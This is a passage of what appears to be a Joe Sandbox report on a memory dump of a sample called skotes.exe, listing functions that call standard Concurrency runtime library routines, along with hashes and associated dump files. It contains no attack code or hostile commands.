Instruction ID: 4390401d6086083c4ed679f6182fa8b71465f7569f6c9b8c6cc6026deb80f4b9
Opcode Fuzzy Hash: c62740cbdede6a2dd2ba16e2894cfcbd091cb11a09e69c3f216d1aca49daf7e5
Instruction Fuzzy Hash: 9101D131200561AFCB25BB62CF86E6EB76ABF45720704512AF8019B612DF24EC6296A0

Function 00AF33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00AF33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00AF33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00AF3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AF341F

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: c9c21e3dc629dc8d7dbbfb680c021f06c61d6d5fe1c8105d070acfaa3fd087e6
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 2201D133B00518A7CF16FEE58941AFFB7A99F54755F100055FE12AB282DA71EE0097A0

Function 00AE9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00AE9519

Part of subcall function 00ADF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00AE5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00AE953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00AE9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00AE9559

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: fea654ba2275b131ce2dbb49427111535de8f89a005a9d38dee4b17936f00b9b
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 6FF0A071200B605EE662ABAA8911F6B23E49F40711F00841EE52F9B283CE24E846CBA0

Function 00ADEFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00ADEFD1

Part of subcall function 00ADF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00ADF989
Part of subcall function 00ADF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00ADF9C0
Part of subcall function 00ADF968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00ADF9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ADEFDD

Part of subcall function 00ADF40F: Concurrency::critical_section::unlock.LIBCMT ref: 00ADF433

Concurrency::Context::Block.LIBCONCRT ref: 00ADEFE2

Part of subcall function 00AE0366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00AE0368

Concurrency::critical_section::lock.LIBCONCRT ref: 00ADF002

Part of subcall function 00ADF891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ADF8AC
Part of subcall function 00ADF891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00ADF8B7

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 3a06db054d122d171ddeba9d97f0f6663f31897508d803bc2b14d244af0b134c
Instruction ID: de4a5bf88e153af2e14fd3f0ddc3d31427d17c20a6272dec18ad4ab848d99909
Opcode Fuzzy Hash: 3a06db054d122d171ddeba9d97f0f6663f31897508d803bc2b14d244af0b134c
Instruction Fuzzy Hash: BBE04F34900545AFCB04FB20DA655AEBB61BF44360B54831AE477173E2CF746E86CB81

Function 00AFDFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00AFDFE8

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: ad0ea75b0fb28ee4d5d4841e3510820482cffc0b67fd5fbc9f0d8ec457a3fb43
Instruction ID: 691b2e356fc8f8965d3701d8d25927c6ae6a2254cd6130abcff0f80d05121d7a
Opcode Fuzzy Hash: ad0ea75b0fb28ee4d5d4841e3510820482cffc0b67fd5fbc9f0d8ec457a3fb43
Instruction Fuzzy Hash: 43218E7164420DAF9B30EFB5CD80E7B77ADAF003647108614FA2896162EBB1ED1086A0

Function 00AF1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00AF1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AF17AF

Strings

pContext, xrefs: 00AF17A7

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
